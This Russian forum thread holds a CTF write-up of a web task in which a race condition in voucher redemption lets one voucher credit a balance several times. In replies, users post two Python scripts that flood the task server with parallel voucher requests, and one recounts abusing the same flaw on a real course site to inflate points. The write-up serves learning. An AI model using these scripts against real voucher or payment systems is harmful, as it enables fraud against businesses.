 |
|

02.01.2024, 22:59
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Когда код бежит быстрее, чем мысли программиста.
- Приветствие
- Изучение сайта и сбор информации
- Использование уязвимости
- Заключение
Приветствую всех кто заглянул на огонек, сегодня мы рассмотрим таск "Точка невозврата" из категории Веб antichat.
Изучение сайта и сбор информации.
Первое что мы видим попадая на сайт это форма регистрации:
Регистрируемся на сайте и входим в наш личный кабинет:
Здесь мы понимаем что есть баланс и возможность купить флаг. Так же есть форма для отправки ваучера.
Заглядываем в исходный код и видим тестовые ваучеры:
При вводе ваучеров каждый дает 100$, но нам все равно не хватает денег для покупки флага.
Здесь мы будем пробовать 'Race Conditions'. Это распространенный тип уязвимостей, тесно связанный с недостатками бизнес логики .
Они возникают, когда веб-сайты одновременно обрабатывают запросы без адекватных мер безопасности.
Использование уязвимости .
Мы воспользуемся двумя браузерами и одной учетной записью. Отправим один ваучер с одного браузера и сразу же со второго:
Здесь мы видим, что при отправке ваучера который должен был дать нам 100$, дал нам 200$.
Ваучер применился дважды, хотя не должен был.
Вводим оставшиеся ваучеры таким же способом и у нас получается такая картина:
Ура! Дальше мы просто нажимаем на кнопку BUY FLAG и покупаем его.
- Заключение
Это произошло из-за того, что при работе с ваучером не были применены механизмы синхронизации доступа к ресурсу (ваучеру), которые бы предотвратили одновременное применение его двумя браузерами в нашем случае. Каждый из браузеров смог пройти проверку (например, проверку на уникальность использования ваучера) и получил денежный бонус, так как сервер не успел обработать информацию об уже использованном ваучере перед обработкой второго запроса.
Довольно интересный вектор атаки, про который не стоит забывать и проверять его при тестировании.
Кто обратил внимание на данную статью и набравший большее количество баланса, отпишите в комментарии.
Будет очень интересно, так же увидеть решение способом через Burp.
До новых встреч!
|
|
|

02.01.2024, 23:34
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()
После отработки скрипта, перегружаем страницу.
|
|
|

03.01.2024, 01:03
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Paladin сказал(а):
Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()после отработки скрипта, перегружаем страницу.
Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно
|
|
|

03.01.2024, 01:05
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
vov4ick сказал(а):
Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно
Да есть такая опция в новом Burp, но не вышло никак
|
|
|

03.01.2024, 13:47
|
|
Новичок
Регистрация: 14.09.2023
Сообщений: 0
С нами:
1404526
Репутация:
0
|
|
Тоже пробовал через бурп, потом плюнул и написал такой скрипт с использованием многопоточности:
Python:
Код:
import
requests
from
fake_useragent
import
UserAgent
as
ua
from
multiprocessing
import
Process
def
give_me_money
(
vouch
)
:
page
=
requests
.
get
(
f"http://62.173.140.174:16023/index.php?voucherCode={vouch}&uid=963517371812217"
,
headers
=
usr_agt
)
if
__name__
==
'__main__'
:
usr_agt
=
{
'User-Agent'
:
ua
(
)
.
random
}
vouchers
=
[
'PAePaMt'
,
'5mbhxgw'
,
'dRRYa6Y'
]
for
voucher
in
vouchers
:
for
i
in
range
(
10
)
:
Process
(
target
=
give_me_money
,
args
=
(
voucher
,
)
)
.
start
(
)
|
|
|

04.01.2024, 19:00
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Paladin сказал(а):
Да есть такая опция в новом Burp, но не вышло никак
Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.
|
|
|

04.01.2024, 19:09
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
vov4ick сказал(а):
Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.
И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.
|
|
|

04.01.2024, 19:11
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Paladin сказал(а):
И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.
Не слышал эту историю, но довольно интересно
|
|
|

04.01.2024, 19:15
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
vov4ick сказал(а):
Не слышал эту историю, но довольно интересно
Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.
|
|
|

04.01.2024, 19:23
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
Paladin сказал(а):
Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.
Их прямо раздражала эта картинка.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|